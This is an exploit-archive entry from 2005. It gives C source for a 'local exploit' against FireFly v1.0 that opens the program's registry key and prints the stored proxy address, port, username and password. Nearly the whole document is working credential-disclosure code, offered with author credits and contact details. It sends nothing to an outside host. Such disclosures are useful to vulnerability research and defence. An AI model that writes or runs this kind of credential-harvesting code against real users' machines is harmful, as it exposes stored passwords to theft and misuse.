FireFly 1.0 Local Proxy Password Disclosure Exploit

2005-04-07 00:00:00

/*****************************************************************

FireFly v1.0 Local Exploit by Kozan

Application: FireFly v1.0
Vendor: NetCruiser Software - www.netcruiser-software.com
Vulnerable Description: FireFly v1.0 discloses proxy passwords
to local users.

Discovered & Coded by: Kozan
Credits to ATmaCA
Web : www.netmagister.com
Web2: www.spyinstructors.com
Mail: [email protected]

*****************************************************************/

#include <stdio.h>
#include <windows.h>

#define BUFSIZE 100
HKEY hKey;
char proxyaddr[BUFSIZE],
proxyport[BUFSIZE],
proxyuser[BUFSIZE],
proxypass[BUFSIZE];
DWORD dwBufLen=BUFSIZE;
LONG lRet;

int main(void)
{

if(RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\FireFly
FileFinder\\GnutellaServer",
0,
KEY_QUERY_VALUE,
&hKey) == ERROR_SUCCESS)
{

lRet = RegQueryValueEx( hKey, "ProxyAddr", NULL, NULL,(LPBYTE) proxyaddr,&dwBufLen);

if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ){
strcpy(proxyaddr,"Not found!");
}
lRet = RegQueryValueEx( hKey, "ProxyPass", NULL, NULL,(LPBYTE) proxypass, &dwBufLen);

if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ){
strcpy(proxypass,"Not found!");
}
lRet = RegQueryValueEx( hKey, "ProxyUser", NULL, NULL,(LPBYTE) proxyuser, &dwBufLen);

if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ){
strcpy(proxyuser,"Not found!");
}
lRet = RegQueryValueEx( hKey, "ProxyPort", NULL, NULL,(LPBYTE) proxyport, &dwBufLen);

if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ){
strcpy(proxyport,"Not found!");
}

RegCloseKey( hKey );

printf("FireFly v1.0 Local Exploit by Kozan\n");
printf("Credits to ATmaCA\n");
printf("www.netmagister.com - www.spyinstructors.com\n");
printf("[email protected]\n\n");
printf("Proxy Address : %s\n",proxyaddr);
printf("Proxy Port : %s\n",proxyport);
printf("Proxy Username : %s\n",proxyuser);
printf("Proxy Password : %s\n",proxypass);

}
else{
printf("FireFly v1.0 is not installed on your system!\n");
}

return 0;
}

//

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